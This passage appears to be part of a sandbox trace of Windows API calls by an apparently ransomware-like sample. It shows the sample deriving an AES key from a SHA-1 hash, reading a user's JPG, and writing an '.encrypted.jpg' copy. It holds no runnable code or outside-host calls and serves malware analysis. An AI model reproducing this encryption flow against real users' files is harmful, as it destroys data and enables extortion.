lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\VeXyoj31q5uYZq\\RjsoLWMv.jpg", cchWideChar=73, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 73 [0028.461] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\VeXyoj31q5uYZq\\RjsoLWMv.jpg", cchWideChar=73, lpMultiByteStr=0xe8f4069830, cbMultiByte=73, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\VeXyoj31q5uYZq\\RjsoLWMv.jpg", lpUsedDefaultChar=0x0) returned 73 [0028.461] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\VeXyoj31q5uYZq\\RjsoLWMv.jpg" (normalized: "c:\\users\\5jghkoaofdp\\pictures\\hz2w\\ra1rifpb2\\vexyoj31q5uyzq\\rjsolwmv.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0028.461] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=73, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 73 [0028.461] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=73, lpWideCharStr=0xe8f4060440, cchWideChar=73 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\VeXyoj31q5uYZq\\RjsoLWMv.jpg") returned 73 [0028.462] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0028.462] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0028.462] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0028.463] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0028.463] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0028.463] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0028.463] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f41788a0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0028.463] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0028.463] CloseHandle (hObject=0x1fc) returned 1 [0028.463] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0028.463] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0028.463] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0028.463] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0028.464] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.464] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0028.464] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0028.464] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.464] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.464] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.464] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.464] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.464] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.464] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0028.464] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0028.464] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0028.464] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0028.464] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0028.464] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0028.464] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0028.464] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.464] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.464] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0028.464] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.464] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.464] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0028.464] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.464] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.464] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.465] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0028.465] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.465] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.465] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.465] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.465] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.465] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0028.465] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.465] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f419a0a0) returned 1 [0028.465] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.465] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.465] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0028.465] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.465] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.465] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.465] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.465] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.465] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0028.465] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.465] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.465] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.465] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.465] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.465] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.466] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0028.466] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.466] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.466] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0028.466] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.466] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.466] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0028.466] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.466] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.466] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0028.466] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.466] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.466] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.466] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.466] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.466] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.466] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.466] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0028.466] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.466] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.466] CryptCreateHash (in: hProv=0xe8f419a0a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0028.466] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.466] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.466] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.466] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.466] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0028.466] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.467] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.467] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.467] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.467] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.467] CryptHashData (hHash=0xe8f40625d0, pbData=0xe8f418b810, dwDataLen=0x20, dwFlags=0x1) returned 1 [0028.467] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.467] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.467] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.467] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.467] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.467] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0028.467] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.467] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.467] CryptDeriveKey (in: hProv=0xe8f419a0a0, Algid=0x660e, hBaseData=0xe8f40625d0, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f4062640) returned 1 [0028.467] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.467] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.467] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.467] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.467] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.467] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.467] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0028.467] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.467] CryptDestroyHash (hHash=0xe8f40625d0) returned 1 [0028.468] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.469] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.469] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.469] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.469] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.469] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\VeXyoj31q5uYZq\\RjsoLWMv.jpg" (normalized: "c:\\users\\5jghkoaofdp\\pictures\\hz2w\\ra1rifpb2\\vexyoj31q5uyzq\\rjsolwmv.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0028.469] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0028.469] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0028.469] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.469] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.469] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.470] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\VeXyoj31q5uYZq\\" (normalized: "c:\\users\\5jghkoaofdp\\pictures\\hz2w\\ra1rifpb2\\vexyoj31q5uyzq")) returned 0x10 [0028.470] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\VeXyoj31q5uYZq\\RjsoLWMv.encrypted.jpg" (normalized: "c:\\users\\5jghkoaofdp\\pictures\\hz2w\\ra1rifpb2\\vexyoj31q5uyzq\\rjsolwmv.encrypted.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0028.470] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.470] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.470] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.470] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.471] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0028.471] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x10000, lpOverlapped=0x0) returned 1 [0028.473] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x3971, lpOverlapped=0x0) returned 1 [0028.473] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0028.475] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.475] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.475] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.475] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0028.476] PeekMessageW (in: 